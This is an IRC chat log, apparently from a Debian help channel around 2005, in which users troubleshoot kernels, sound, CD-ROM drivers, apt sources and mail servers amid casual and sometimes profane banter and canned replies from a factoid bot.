| 13:07.42 | takatumi | s/yes/yed/ |
| 13:07.48 | SonnyChiba | I'm going to buy a laptop, i'm currenly choosing beetween intel 915GM and AtiX300, anyone tested 'em? Which one has better support? I mean, in 2D stuff (also suspend/resume, tv out..), i don't care about 3D. |
| 13:07.48 | deleted | Does Debian support ECS 320 Notebook ? |
| 13:07.50 | Coke | Is that considered a small village by Asian standards? |
| 13:08.01 | petemc | takatumi: he did a lot of stuff before that too :) |
| 13:08.11 | AbyssGer | exist any way to get the source for an 2.6.8.2 kernel? |
| 13:08.23 | mankeletor | ok |
| 13:08.23 | AbyssGer | exist any way to get the pcmcia-cs source for an 2.6.8.2 kernel? |
| 13:08.30 | takatumi | petemc: never seen him before, maybe I have, but don't remember. |
| 13:08.49 | greycat | there is no such thing as a 2.6.8.2 kernel. |
| 13:08.50 | mooded | AbyssGer, you dont get em from debian repositories.. (except u want to extract them from the deb-src-package..) just google for it .. youll find the .tar.gz probably quicker.. |
| 13:08.59 | mankeletor | in slackware, is /etc/rc.d/rc.local, what's in debian? |
| 13:09.04 | greycat | !rc.local |
| 13:09.04 | dpkg | hmm... rc.local is the boot script for BSD/slackware/redhat systems but is considered to be a hack for lazy people. Use the sysvinit method via update-rc.d, or read /etc/init.d/README or "man update-rc.d", or try "sysvconfig", or /etc/rc.boot/ directory, /etc/init.d/bootmisc.sh file and /etc/init.d/skeleton template. If you don't like SysV, consider file-rc. |
| 13:09.04 | ricky_clarkson | greycat: split can give you .2 of a kernel. |
| 13:09.05 | Coke | AbyssGer: the internet is out there, use it! |
| 13:09.08 | BadMan | SonnyChiba check tuxmobile.org |
| 13:09.21 | mooded | mankeletor, /etc/rc1-6.d/ |
| 13:09.40 | SonnyChiba | BadMan: k :) |
| 13:09.41 | Coke | file-rc is pretty neet |
| 13:09.43 | mankeletor | ok thx mooded |
| 13:10.06 | MobyTurbo | Coke: is file-rc faster than SysV init? |
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| 13:10.13 | Coke | MobyTurbo: what do you mean "faster"? |
| 13:10.25 | MobyTurbo | Coke: does it boot faster, for example. |
| 13:10.30 | Piggeldi | how can i force the debian system not to use the scsi drivers for my cdrom driver? instead i'd like to use the ide-cd driver. I use kernel 2.6.10. any ideas? |
| 13:10.30 | greycat | MobyTurbo: they're both shell script based solutions. |
| 13:10.40 | greycat | no, it doesn't fucking boot faster. get fucking REAL, people. |
| 13:10.47 | ricky_clarkson | MobyTurbo: Is a cabbage faster than a car? |
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| 13:10.47 | Kurniady | how can I restart a daemon? |
| 13:10.52 | Coke | MobyTurbo: I would estimate that it is everything from 0.0001 to 0.0000000001 seconds faster than SysV init. |
| 13:10.54 | greycat | Kurniady: /etc/init.d/foobar restart |
| 13:10.55 | deleted | Does Debian support ECS G320 Notebooks ? |
| 13:10.58 | ricky_clarkson | Kurniady: /etc/init.d/daemon restart |
| 13:11.03 | Coke | MobyTurbo: possible even less. |
| 13:11.09 | greycat | Coke: or maybe it's 0.0003 seconds slower |
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| 13:11.16 | ricky_clarkson | MobyTurbo: You did. |
| 13:11.31 | Coke | greycat: hm. I made an assumption based on the fact that file-rc does less open()'s |
| 13:11.41 | ricky_clarkson | MobyTurbo: The boot speed is more related to your hardware and software than the actual boot script. |
| 13:11.45 | Isuba | Kurniady, Interestingly, using the "kill" command with the proper signal code |
| 13:11.50 | Coke | greycat: ofcourse, you have the parsing vs executing bash scripts. |
| 13:12.20 | Coke | greycat: my point, though, was that the speed difference is negliable |
| 13:12.26 | greycat | ricky_clarkson: and kernel version and configuration, and whether discover/hotplug are installed. |
| 13:12.34 | greycat | Coke: yes |
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| 13:13.02 | ricky_clarkson | greycat: afaik, kernel is software. |
| 13:13.02 | greycat | Isuba: sending HUP to most daemons will cause them to reread a config file, but not to restart. |
| 13:13.11 | greycat | ricky_clarkson: :P |
| 13:13.27 | tarzeau | hi |
| 13:13.40 | Coke | MobyTurbo: it was a slightly stupid question since the microseconds that would differ isn't of any good use to you anyway unless we apply relative time physics |
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| 13:13.52 | drac | I'm getting "imapd-ssl: chdir Maildir: No such file or directory", with Courier SSL, but I have defined maildirectory as /var/mail to imapd-ssl. Am I missing something? |
| 13:13.58 | Rawplayer | bl4ckh4t lame nick |
| 13:14.03 | ricky_clarkson | Your processes are as fast as the vehicle that carries the PC. |
| 13:14.05 | greycat | drac: yeah, a Maildir. |
| 13:14.13 | Isuba | greycat, oh, right... fuzzy memory. I been out of the debian / linux "world" for a while. |
| 13:14.18 | mufa | how could I open java console from firefox? |
| 13:14.22 | drac | MAILDIRPATH=/var/mail ? |
| 13:14.23 | RootsLINUX | grrr, my sound isn't working and I can't find the volume control (but volume in XMMS is 100% at least) |
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| 13:14.33 | ricky_clarkson | mufa: Right-click on an applet and click Java Console I think. |
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| 13:14.43 | greycat | drac: does imapd-ssl read that environment variable? If so, is it in imapd-ssl's environment when it's lanched at boot time? |
| 13:14.47 | Coke | RootsLINUX: do you use ALSA or OSS? |
| 13:14.50 | mooded | RootsLINUX, google for amixer and unmute |
| 13:14.57 | ricky_clarkson | RootsLINUX: aumix |
| 13:15.00 | Seldo | first-time installer: I've now got 2.4.18 kernel, and I used apt-get for the PCMCIA modules for that kernel, but my PCMCIA card is still not detect in lspci. Is there anything else I need to do to configure PCMCIA support? |
| 13:15.06 | Coke | RootsLINUX: apt-get install gnome-alsamixer if you want a fancy GUI |
| 13:15.19 | greycat | didn't they read README.maildir in the qmail source code? and README.vsm? |
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| 13:15.33 | Coke | Seldo: you don't need driver support to see the hardware list with lspci |
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| 13:15.42 | greycat | Oh wait, what am I thinking?!? Newbies don't read documentation! Bad greycat! Bad! |
| 13:15.42 | drac | greycat: ah it really is in /etc/init.d/courier-imap-ssl. thanks. |
| 13:16.01 | Isuba | I need to get Debian up and running on my newish DELL. But the thing came with a WinModem. It's a BroadCom modem. I wonder if anyone knows a softmodem Linux driver for it? |
| 13:16.07 | ricky_clarkson | greycat: Oh, is *that* what you're supposed to do with READMEs? I thought README meant "look at this directory carefully". |
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| 13:16.16 | DebUser | Hello |
| 13:16.26 | RootsLINUX | Yeah I just checked and alsa isn't even installed :P |
| 13:16.29 | Piggeldi | any ideas how to get my cd-rom/cdrw running with kernel 2.6.10.... with 2.4.20-xfs it worked fine.. |
| 13:16.31 | ricky_clarkson | RootsLINUX: aumix |
| 13:16.34 | greycat | !worked in 2.4 |
| 13:16.35 | dpkg | Every time you say "___ doesn't work in 2.6, but it worked in 2.4", a 25 cent (USD) surcharge must be paid to greycat. |
| 13:16.38 | thesaboteur | greycat: just let him continue down the path of flaming wreckage :) |
| 13:16.47 | Coke | From now on everything should be distributed with a SPANKME file instead of a README |
| 13:16.55 | DebUser | I just apt-get installed GNUstep according to the quick guide on linuks.minue.nu unfortunately it doesn't display GNUstep in the sessions list. Am I missing something? |
| 13:16.55 | thesaboteur | bah bad timing |
| 13:16.58 | RootsLINUX | What alsa module should I install? I'm running kernel 2.6 on a AMD64 (k8) but I see no module for that :P |
| 13:17.09 | ricky_clarkson | mv README DONT_READ_THIS |
| 13:17.11 | greycat | Piggeldi: 1) you're not in Debian, so you will be flamed mercilessly. 2) for 2.6.x kernels, use ide-cd instead of ide-scsi. Use cdrecord dev=ATA: -scanbus or something. |
| 13:17.12 | Coke | RootsLINUX: your soundcard IS NOT THE CPU |
| 13:17.20 | sussudio | !confuse RootsLINUX |
| 13:17.23 | dpkg | Yes, those are your pineapple today, RootsLINUX? shirts of the democracy of tibet with extra herring |
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| 13:17.26 | RootsLINUX | ?_? |
| 13:17.26 | nix000 | anyone know if apache and apache2 can live on the same machine happily ? |
| 13:17.26 | ricky_clarkson | RootsLINUX: aumix |
| 13:17.33 | mooded | anybody knows a reason why a kernel might boot just fine till the point where it shall call the login-prompt (and then waiting till eternity) |
| 13:17.35 | MobyTurbo | DebUser: GNUstep is not a window manager, though most people use windowmaker (apt-get install wmaker) with GNUstep applications. |
| 13:17.48 | greycat | nix000: "apache2" and "happy" are mutually exclusive. |
| 13:18.06 | Coke | RootsLINUX: AMD64 is your CPU, right? what the heck does your CPU have to do with your soundcard? |
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| 13:18.18 | DebUser | MobyTurbo, , cheers I was trying to download windowmaker, but I couldn't figure out what to apt-get :) |
| 13:18.23 | RootsLINUX | I dunno, there are alsa modules listed for all the different kernels and CPus |
| 13:18.25 | nix000 | greycat: i realized that ! |
| 13:18.30 | Coke | RootsLINUX: lspci | grep audio |
| 13:18.30 | ricky_clarkson | RootsLINUX: HELLO?! |
| 13:18.34 | greycat | RootsLINUX: that's for 2.4.x kernel, where ALSA is *separate*. |
| 13:18.37 | MobyTurbo | DebUser: "apt-cache search" helps with stuff like that. |
| 13:18.41 | greycat | RootsLINUX: if you're on 2.6, ALSA is built in. |
| 13:18.47 | Coke | RootsLINUX: that's because they are compiled for a specific architecture |
| 13:18.51 | Seldo | coke: I'm not sure I understand, sorry. Are you saying I didn't even need the PCMCIA module to detect the PCMCIA card? If so, what other reasons might lspci not be finding my PCMCIA cards? |
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| 13:19.06 | RootsLINUX | I see |
| 13:19.22 | Piggeldi | greycat: i'm still in #debian... and i would love to use ide-cd... but i don't know HOW. ok? |
| 13:19.28 | RootsLINUX | $ lspci | grep audio |
| 13:19.29 | RootsLINUX | 0000:00:06.0 Multimedia audio controller: nVidia Corporation: Unknown device 00ea (rev a1) |
| 13:19.30 | ricky_clarkson | RootsLINUX: Yo. Dude. I've answered your question 3 times but you don't seem to notice. |
| 13:19.33 | greycat | !FAQ Piggeldi |
| 13:19.35 | dpkg | Piggeldi: http://www.linuks.mine.nu/debian-faq-wiki/ |
| 13:19.36 | sussudio | !faqsmite Piggeldi |
| 13:19.38 | dpkg | Piggeldi: GO READ THE FAQ!! It's at http://www.linuks.mine.nu/debian-faq-wiki/ -- greycat and others have SLAVED for HOURS to make a FAQ that answers your question and you don't even bother to read it! http://www.linuks.mine.nu/debian-faq-wiki/ |
| 13:19.46 | Coke | Seldo: you need a driver if you want to have an ethernet interface for your pcmcia card, you don't need it to list hardware using lspci. lspci simply reads the serial number and maps it to a database of known vendors and known hardware, it doesn't operate the hardware and thus does not need a driver. |
| 13:20.01 | Coke | coffe time |
| 13:20.06 | greycat | wow, an nforce audio chipset. sounds like joyous happy fun time. |
| 13:20.14 | sussudio | happy happy joy joy |
| 13:20.25 | greycat | /nick stinky_weaselteats |
| 13:20.38 | sussudio | he talks to farts, man. |
| 13:20.46 | RootsLINUX | ok it works |
| 13:21.01 | RootsLINUX | lol, the music was really loud so when it came on I jumped |
| 13:21.15 | AbyssGer | resolved the problem! Now how i can include the moduls in the make-kpkg? |
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| 13:21.42 | ricky_clarkson | RootsLINUX: What worked? |
| 13:21.59 | greycat | ricky_clarkson: ssshhhh! don't jinx it! |
| 13:22.01 | Piggeldi | Okay*... I searched google for four days now to find a fix for my prob... maybe ur faq is better like the other faq's? |
| 13:22.14 | greycat | if you *read* it, you'll find out |
| 13:22.17 | RootsLINUX | my sound |
| 13:22.17 | ricky_clarkson | Piggeldi: Read it and.. |
| 13:22.22 | ricky_clarkson | RootsLINUX: What made it work? |
| 13:22.22 | RootsLINUX | It was muted that's why :P |
| 13:22.40 | RootsLINUX | -_- |
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| 13:24.07 | AbyssGer | how i can build a *.deb kernel-package with /usr/src/modules/* ? |
| 13:24.26 | guest57 | # Appears as ANNA |
| 13:24.30 | greycat | gods. |
| 13:24.35 | AbyssGer | should make-kpkg enough? |
| 13:24.42 | sussudio | guest57: are you fucking serious? |
| 13:24.42 | greycat | AbyssGer: make-kpkg .... modules_image |
| 13:24.53 | sussudio | <PROTECTED> |
| 13:24.54 | sussudio | ... |
| 13:24.58 | sussudio | i guess he is. |
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| 13:26.00 | greycat | 2.4.20-xfs is SuSE, right? That's what my google search seems to indicate... |
| 13:26.04 | BadMan | on the afaq it says to add the line append="hdc=ide-scsi" to you lilo.conf but does it matter where as long as its not commented out? |
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| 13:26.11 | BadMan | for burners. that is |
| 13:26.39 | greycat | BadMan: usually before the image= lines. |
| 13:26.46 | BadMan | greycat ok thanks |
| 13:26.51 | mooded | in lilo.conf it simply is in the append line i though |
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| 13:27.02 | mooded | oh... forget it |
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| 13:28.06 | Piggeldi | 2.4.20-xfs maybe comes with suse but i started with 2.4.20-xfs on knoppix, with based on debian |
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| 13:28.38 | BadMan | welp off to the dealer be back ina bit... |
| 13:28.40 | greycat | gods. so you can't even guess WHICH non-Debian distro it is. :( |
| 13:28.49 | greycat | !based on debian |
| 13:28.49 | dpkg | Knoppix, Libranet, Corel/Xandros, Stormix, Progeny, Lindows, DamnSmallLinux, Ubuntu, Agnula, Xebian, and so on are *not* Debian. Just because something's "based on" Debian doesn't mean we can support it. You'll get a Debian answer, and if it doesn't work, you're out of luck. |
| 13:28.49 | takatumi | haven't seen any -xfs kernels in suse. |
| 13:29.05 | greycat | takatumi: damn. you can't trust Google any more. |
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| 13:30.15 | greycat | dpkg, based on debian =~ s/Ubuntu/Ubuntu, Kurumin/ |
| 13:30.16 | dpkg | OK, greycat |
| 13:30.37 | AbyssGer | when the kernel-image build is ready how i can activate the wlan card? |
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| 13:31.32 | ricky_clarkson | Hah, what a name, DamnSmallLinux. |
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| 13:32.00 | Rydekull | ricky_clarkson: naturally since it is damn small, and linux |
| 13:32.17 | ricky_clarkson | Rydekull: Have a cookie. |
| 13:32.19 | Piggeldi | thats not the prob... my system works fine with all the deb packages and apt and all that stuff... i just want to get my system now running my cdrw with 2.6.10... |
| 13:32.41 | Rydekull | ricky_clarkson: already did :( im full |
| 13:32.44 | greycat | Piggeldi: so do what I said 15 minutes ago. |
| 13:33.03 | suzzi | howdy all, Any one know what I need to set up disk Quotas for reiserFS? I've got 2.6.10 with it enables in the kernel but google and tldp.org dont seem to have much in the way of a howTo on setup? any one with any good leads? |
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| 13:34.03 | Piggeldi | i did... and your faq says: install sarge instead of woody... but i can't do a complete new installation on this system ok??? |
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| 13:34.32 | suzzi | Piggeldi: you can always upgrade (apt-get distupgrade, or something close to that) |
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| 13:34.45 | ricky_clarkson | Piggeldi: Upgrade to sarge. |
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| 13:35.26 | greycat | ricky_clarkson: I don't think you can upgrade from knoppix to sarge smoothly. |
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| 13:35.51 | greycat | although I don't see why that's relevant if he already has a sufficiently new cdrecord package for the ugly horrible dev=ATA: hack to work. |
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| 13:36.46 | ricky_clarkson | Piggeldi: Oh, if you use Knoppix, you should use debtakeover or debootstrap. |
| 13:36.54 | Piggeldi | i can't even mount the device as cdrom at the moment... |
| 13:37.17 | ricky_clarkson | Piggeldi: Why can't you do a new installation anyway? |
| 13:37.40 | Piggeldi | i installed knoppix 3.1 a few month ago but did so many updates and upgrades... i think it is not knoppix anymore :-) |
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| 13:38.57 | ricky_clarkson | Piggeldi: Maybe it's still Knoppix with some updates and upgrades. |
| 13:39.40 | Piggeldi | Okay* i'll change my question: how can i change to a "real" debian sarge without installing completely new? |
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| 13:39.48 | greycat | if you can't even *mount* it, then you have bigger issues than trying to get it to burn. |
| 13:40.04 | pureone | you could try kanotix |
| 13:40.15 | suzzi | Piggeldi: you are running off the HD right? |
| 13:40.15 | suzzi | pureone: nope, I havent |
| 13:40.21 | pureone | its near enough 100% sid |
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| 13:40.22 | Piggeldi | right |
| 13:40.37 | pureone | other then some scripts bug fixes etc |
| 13:40.40 | jim | Piggeldi: -maybe- you can set up sources and dist-upgrade... but ymmV. |
| 13:40.48 | suzzi | Piggeldi: ok then what you do is edit /etc/apt/sources.list to point to debian mirrors |
| 13:41.00 | suzzi | Piggeldi: then apt-get update |
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| 13:41.05 | jim | again, ymmV |
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| 13:41.36 | greycat | interesting capitalization... |
| 13:41.46 | suzzi | Piggeldi: then once you have a proper listing of things apt-get dist-upgrade |
| 13:41.50 | Piggeldi | my sources already point to ftp.debian.de |
| 13:41.55 | jim | means your milage may VARY. |
| 13:42.23 | suzzi | Piggeldi: what version of things are you tracking? |
| 13:42.43 | greycat | I don't think any of that MATTERS right now. He needs to figure out what the hell's wrong with his kernel. |
| 13:42.54 | greycat | (or maybe it's simple PEBKAC) |
| 13:43.02 | jim | Piggeldi: show one line that points there |
| 13:43.03 | suzzi | deb [server] [version] main |
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| 13:43.34 | Piggeldi | my apt.conf says "testing" |
| 13:43.39 | greycat | that's not a valid line. |
| 13:43.53 | jim | Piggeldi: SHOW the line -please-. |
| 13:44.01 | suzzi | Piggeldi: so it's deb ftp.debian.de.... testing main |
| 13:44.19 | suzzi | thats what jim wants you to post |
| 13:44.21 | jim | apt.conf?\ |
| 13:44.30 | jim | no, sources.list |
| 13:44.44 | suzzi | jim: ohh good point |
| 13:44.48 | suzzi | didnt even catch that |
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| 13:45.04 | jim | :) |
| 13:45.40 | Piggeldi | deb http://ftp2.de.debian.org/pub/debian stable main contrib non-free |
| 13:45.55 | suzzi | Piggeldi: that's tracking stable |
| 13:46.00 | Piggeldi | i also have entries for unstable and testing |
| 13:46.12 | suzzi | pick one and comment all the others out |
| 13:46.18 | jim | that's weird |
| 13:46.32 | jim | it might mean you're tracking unstabile |
| 13:46.36 | suzzi | jim: hehe |
| 13:46.46 | jim | which rhymes with bastile |
| 13:46.49 | Piggeldi | stable? suzzi ? |
| 13:47.07 | jim | suzzi: I think he wants to know if you're stable... |
| 13:47.14 | suzzi | stable=woody testing=sarge unstable=sid |
| 13:47.34 | suzzi | jim: I'm not stable... sorry, very mentaly unballanced |
| 13:47.40 | Piggeldi | *Laughing out Loud* |
| 13:48.31 | jim | I think I'm almost there too... I have packages that are in very bad inconsistant states... I'd reinstall over them, but then I'd forget things... |
| 13:48.39 | suzzi | Piggeldi: to make things easy, only track one version of things, if you want to track sid then comment out all the lines that point to 'stable' and 'testing' then apt-get update |
| 13:49.02 | suzzi | jim: are you doing a complete rehash? |
| 13:49.18 | suzzi | apt-get has the dist-upgrade option for just this reason. |
| 13:49.26 | jim | using only the best corned beef hash... |
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| 13:49.40 | suzzi | jim: i just walked in to that one. |
| 13:50.02 | jim | well, I led you down tht garden path... |
| 13:50.20 | ricky_clarkson | Beef? Cows? Infidels! |
| 13:50.26 | suzzi | jim: your leading skills are unmatched |
| 13:50.28 | jim | moooo |
| 13:50.33 | sml | ciao ricky_clarkson :) |
| 13:50.34 | suzzi | moo indead |
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| 13:50.46 | pureone | hmmm |
| 13:50.48 | Piggeldi | i commented out all lines for stable and unstable to track testing now and i have no other sources than debian |
| 13:50.59 | jim | yes... I've tried matching them |
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| 13:51.23 | suzzi | Piggeldi: k, what happens when you apt-get update? |
| 13:51.31 | Kralizec | is kde usable if compiled with gcc-4.0? |
| 13:51.42 | greycat | Kralizec: how would we know? |
| 13:51.54 | sml | suzzi: magic things happen. |
| 13:51.55 | suzzi | gcc4? isnt 3.3 current? |
| 13:52.00 | greycat | !info gcc sid |
| 13:52.00 | suzzi | sml: hehe |
| 13:52.03 | dpkg | gcc: (The GNU C compiler), section devel, is standard. Version: 4:3.3.5-1 (sid), Packaged size: 4 kB, Installed size: 28 kB |
| 13:52.05 | Piggeldi | it reads the new pkg-lists |
| 13:52.07 | Kralizec | greycat: well, perhaps someone had tried |
| 13:52.10 | jim | Kralizec: THIS sounds like a job for Captain Gentoo! |
| 13:52.26 | greycat | or #debian-kde or #kde |
| 13:52.27 | PerfDave | !knoppix2debian |
| 13:52.27 | dpkg | knoppix2debian is probably http://www.knoppix.net/forum/viewtopic.php?t=2251 or something which will leave you running neither Knoppix nor Debian and with no help from anywhere. |
| 13:52.28 | Kralizec | at least in the amd64 port there is a branch who has it |
| 13:52.30 | sml | jim: Be careful of your use of the G word plz ;) |
| 13:52.40 | suzzi | well I guess that's what I get for tracking testing on all my servers =( |
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| 13:53.06 | Kralizec | and i do have asked already in #debian-amd64 |
| 13:53.50 | Vanya | does anyome install lsongs from linspire in debian |
| 13:54.02 | Piggeldi | after apt-get dist-upgrade i now get the message: unmet dependencies ... (with initscripts ...) |
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| 13:55.11 | Piggeldi | Away from Keyboard for some minutes now... ill be back in about 20 min |
| 13:55.43 | suzzi | Piggeldi: ok. |
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| 13:57.33 | jim | I think not much will happen during upgrade if he was tracking unstable |
| 13:57.55 | jim | which he might have been if all those lines he mentioned were uncommented |
| 13:58.09 | greycat | but he also mentioned an apt.conf file, and that throws everything into total confusion. |
| 13:58.17 | greycat | that pinning shit.... ugh. |
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| 13:58.38 | suzzi | jim: good point. not a clue on that one... I've never tried to track every verion before. |
| 13:59.06 | jim | I think in that case you'd get the highest version of everything' |
| 13:59.37 | jim | so it'd be like only the unstable line were active |
| 13:59.39 | suzzi | jim: that would make sence, I just dont know. |
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| 13:59.56 | greycat | jim: *if* there's no pinning crap, yes. |
| 14:00.04 | ricky_clarkson | Unless you do apt-get install package=version |
| 14:00.26 | greycat | or -t |
| 14:00.34 | suzzi | heres a quesion, any one ever done quotas on reiserFS? |
| 14:00.36 | greycat | or /branch |
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| 14:01.02 | jim | maybe the best would be for him to post his two files in question in a web page and have us look |
| 14:01.04 | ricky_clarkson | Wowee, apt-get dist-upgrade in sid... 591 upgraded, 46 newly installed, 19 to remove and 6 not upgraded. |
| 14:01.37 | jim | I bet those 6 feel left out... :(... |
| 14:01.43 | ricky_clarkson | Mobile phones that can do speakerphone-- |
| 14:01.50 | suzzi | ricky_clarkson: sounds like some one will be making them self something to eat |
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| 14:02.02 | vahid | hello |
| 14:02.07 | suzzi | vahid: hi |
| 14:02.20 | ricky_clarkson | I'm not going to bother, just wondering how much would be updated, and scrolling through the list to see whether there's anything I want to update. |
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| 14:08.13 | Pumpkin_Pie | hey ladies |
| 14:08.21 | suzzi | Pumpkin_Pie: whats up hot shot?! |
| 14:08.25 | Shadur | Hiya, girl. |
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| 14:08.40 | suzzi | Shadur: Whats up. |
| 14:08.45 | nix000 | me no lady |
| 14:08.50 | suzzi | nix000: =( |
| 14:08.55 | Shadur | I was responding to Pumpkin, actually. |
| 14:09.04 | SocketERR | hi, could anybody advice me a good mailinglist manager? |
| 14:09.06 | suzzi | Shadur: sorry |
| 14:09.21 | Shadur | No worries. |
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| 14:09.29 | suzzi | SocketERR: humm.... I dont have any personal experence to share sorry |
| 14:09.32 | Zap-W | is there a tool for listing ISA devices |
| 14:09.34 | Zap-W | like lspci |
| 14:09.38 | Shadur | Well, at least I've learned something interesting. |
| 14:09.47 | Shadur | Zap-W: Aside from pnpdump, no |
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| 14:09.57 | suzzi | Shadur: udev/md ? |
| 14:10.11 | Shadur | Zap-W: ISA didn't have all those neat callbacks that the PCI standard comes with that makes lspci possible. |
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| 14:10.43 | jim | doesn't have hardwre for discivery either except pnp |
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| 14:10.50 | Kurniady | what dialer are there in debian besides of wvdial? |
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| 14:11.02 | Shadur | suzzi: md needs to send an ioctl to /dev/md0 in order to register the raid array. But udev won't create /dev/md0 until there's a raid array registered. Which md can't do because /dev/md0 isn't there. |
| 14:11.08 | Shadur | Chicken, egg, egg, chicken. |
| 14:11.14 | Shadur | Kurniady: apt-cache search dialer |
| 14:11.22 | jim | Kurniady: pppd? |
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| 14:11.38 | suzzi | Shadur: hummm... |
| 14:11.44 | Piggeldi | re |
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| 14:12.03 | suzzi | Piggeldi: welcome back |
| 14:12.09 | ricky_clarkson | Baby come back. |
| 14:12.21 | Zap-W | anyidea if alsa supports SB 16 vibra16X in full-duplex |
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| 14:12.27 | Piggeldi | suzzi: i tried apt-get -f dist-upgrade now... but it has still the same error... |
| 14:12.40 | Kurniady | pppd: The remote system is required to authenticate itself |
| 14:12.41 | Kurniady | pppd: but I couldn't find any suitable secret (password) for it to use to do so. |
| 14:12.41 | Kurniady | pppd: (None of the available passwords would let it use an IP address.) |
| 14:12.42 | suzzi | Piggeldi: ... other then that i'm taped out |
| 14:12.44 | jim | Zap-W: alsa-project.org |
| 14:12.45 | ricky_clarkson | !do the brotman |
| 14:12.46 | Kurniady | what would that mean? |
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| 14:12.58 | suzzi | Piggeldi: jim did bring up a good point about how you might be tracking unstable |
| 14:13.11 | Zap-W | jim: yea... |
| 14:13.11 | Piggeldi | not really :-) |
| 14:13.16 | Piggeldi | what point? |
| 14:13.34 | suzzi | check the version of some package to see what version you are tracking |
| 14:13.49 | Piggeldi | apt-get-versions? |
| 14:13.59 | suzzi | dpkg -l somepkg |
| 14:14.00 | dpkg | ii somepkg 3.6-5 ultra s3kr1t #debian package |
| 14:14.13 | suzzi | ummm |
| 14:14.15 | suzzi | ya |
| 14:14.24 | Piggeldi | Okay* |
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| 14:14.45 | Zap-W | Creative ViBRA16X PnP |
| 14:14.53 | jim | also it might be cool to see your sources.list and apt.conf files... could you put them on a web page somewhere? |
| 14:15.16 | suzzi | jim: isnt there a pastebot that this chan follows? |
| 14:15.17 | greycat | !pal Zap-W |
| 14:15.24 | ricky_clarkson | !ntsc greycat |
| 14:15.26 | ricky_clarkson | hmm. |
| 14:15.26 | greycat | I'm allowed, because I *had* one of those. |
| 14:15.37 | greycat | That's the worst piece of shit sound card ever mader. |
| 14:15.40 | greycat | s/mader/made/ |
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| 14:15.46 | caligula | hi |
| 14:15.51 | suzzi | hi caligula |
| 14:15.52 | jim | lo |
| 14:15.57 | jim | med |
| 14:15.58 | caligula | I need help with DRBD |
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| 14:16.09 | caligula | d0 Lower device (/dev/hda9) is already mounted |
| 14:16.12 | caligula | but... |
| 14:16.28 | Piggeldi | suzzi: it just delivers the version of the package... like.1.2.3 eg |
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| 14:16.39 | caligula | I don't have /dev/hda9 mounted |
| 14:16.47 | Zap-W | greycat: why who , when what happened |
| 14:16.48 | WageSlave | 'morning peeps |
| 14:16.48 | BadMan | kneet you there? |
| 14:16.50 | sevenoak | in which package can i find the times-roman font? |
| 14:16.51 | Piggeldi | both... apt-show-versions and dpkg -l |
| 14:17.01 | caligula | cat /proc/mounts don't show /dev/hda9 |
| 14:17.02 | suzzi | Piggeldi: ya. I know |
| 14:17.03 | Zap-W | greycat: from what i found so far it has no real full-duplex support |
| 14:17.07 | caligula | but mount yes |
| 14:17.26 | suzzi | if you go to debian.org you can check to see if that version is the one that testing tracks... or unstable ... |
| 14:17.28 | Zap-W | though OSS claims there is for payed customers .., |
| 14:17.46 | jim | Zap-W: sometimes the driver source file has comments as to what is supported and how to activate particular features |
| 14:17.55 | Zap-W | i also have an older SB 16 Vibra16C card |
| 14:18.01 | suzzi | Piggeldi: I'm tracking testing so my version of apache is 1.3.33-3 |
| 14:18.12 | suzzi | Piggeldi: if I was tracking unstable it would be something diffrent |
| 14:18.17 | jim | that's probably why oss is now deprecated... |
| 14:18.22 | greycat | Zap-W: it's a crippled version of a soundblaster 16bit. It doesn't have a full 16-bit DMA channel, so it has to cobble together 2 8bit channels. Or something like that. |
| 14:18.41 | greycat | Zap-W: that said, "modprobe sb" might oughtta should work if you're in 2.4.x or higher, with kernel isapnp. |
| 14:18.42 | Piggeldi | my apache is also 1.3.33-4 |
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| 14:18.56 | greycat | I never used one in 2.4.x or higher, though, so I can't be sure. |
| 14:19.02 | greycat | it went away along with my 2.2.x box. |
| 14:19.08 | jim | anyone have any firewire or usb2 audio devices? |
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| 14:19.34 | Piggeldi | but if i try mount it says version installed is newer than the on in archive |
| 14:19.40 | warthawg | i am having a problem printing with glabels, though i can print from gedit and from the cli and from gnome-cups-manager test page just fine. |
| 14:19.43 | suzzi | Piggeldi: ok so your not tracking stable |
| 14:19.55 | warthawg | but glabels the print she just disappears and never shows up anywhere |
| 14:19.56 | huni | hi guys.. I have a problem with a software raid that runs on top of a promise sata II 150 TX4 controller on debiab sarge. im gettin 'blk_queue_segment_boundary: set to minimum fff' and the system hangs |
| 14:20.13 | suzzi | Piggeldi: what else do you have installed? |
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| 14:20.21 | Piggeldi | no i'd like to track testing... |
| 14:20.29 | Piggeldi | what do you mean? |
| 14:20.35 | suzzi | Piggeldi: I know |
| 14:20.40 | R1zeeK | lo all, im having a bit of trouble setting up X on my laptop |
| 14:20.41 | BadMan | I dont see an error related to my mount error on the faq some1 mind giving me a hand? |
| 14:20.44 | Zap-W | greycat: i am using 2.6.x here..works with alsa drivers in the kernel.., though no full-duplex , besides the Vibra16X i have an older ver Vibra16C tried this one? |
| 14:20.48 | R1zeeK | I'm using the built in mouse (touchpad) on my laptop, and in the X configuration program, it is asking me what port my mouse uses, and I have no idea, can anyone help? |
| 14:20.54 | jim | I have an M-Audio Firewire 410, which has a pair of hi quality mic preamped inputs, a pair of digital spdif inputs and pair of spdif outs, and 8 line level outs |
| 14:20.56 | suzzi | Piggeldi: I'm trying to figure out what version of things you have installed on your box now |
| 14:21.00 | abcxyz | just one room here??? o.O *wow* |
| 14:21.04 | greycat | Zap-W: can't you get something made less than 10 years ago? and preferably PCI? |
| 14:21.23 | WageSlave | R1zeeK: its prolly /dev/psaux |
| 14:21.26 | suzzi | Piggeldi: if you have unstable installed and you want to track testing then you need to work backwards, I know it's possible but I dont know how |
| 14:21.26 | R1zeeK | ty |
| 14:21.28 | BadMan | wrong fs, bad option bad superblock on/dev/cdrom or to many mounted file systesm |
| 14:21.33 | jim | abcxyz: there's no room here! it's too crowded! |
| 14:21.36 | suzzi | if you have testing installed then it's problem solved |
| 14:21.38 | huni | anyone now this problem ? |
| 14:21.42 | warthawg | has anyone else run into printing problems with glabel? |
| 14:22.08 | suzzi | huni: not a clue, sorry... whats the problem? |
| 14:22.10 | sevenoak | how can i manually install the Times-Roman font? |
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| 14:22.30 | Piggeldi | i think there may be some programs not in testing but in unstable... |
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| 14:23.08 | huni | suzzi : I have a problem with a software raid that runs on top of a promise sata II 150 TX4 controller on debiab sarge. im gettin 'blk_queue_segment_boundary: set to minimum fff' and the system hangs |
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| 14:23.17 | huni | ^^that :) |
| 14:23.21 | mikeirc | umm.. kinda new to debian..but I just did an apt-get install ethereal" |
| 14:23.26 | mikeirc | and it sure is old.. |
| 14:23.27 | Zap-W | greycat: why ? it's for an old p2 box :) if it works why bother |
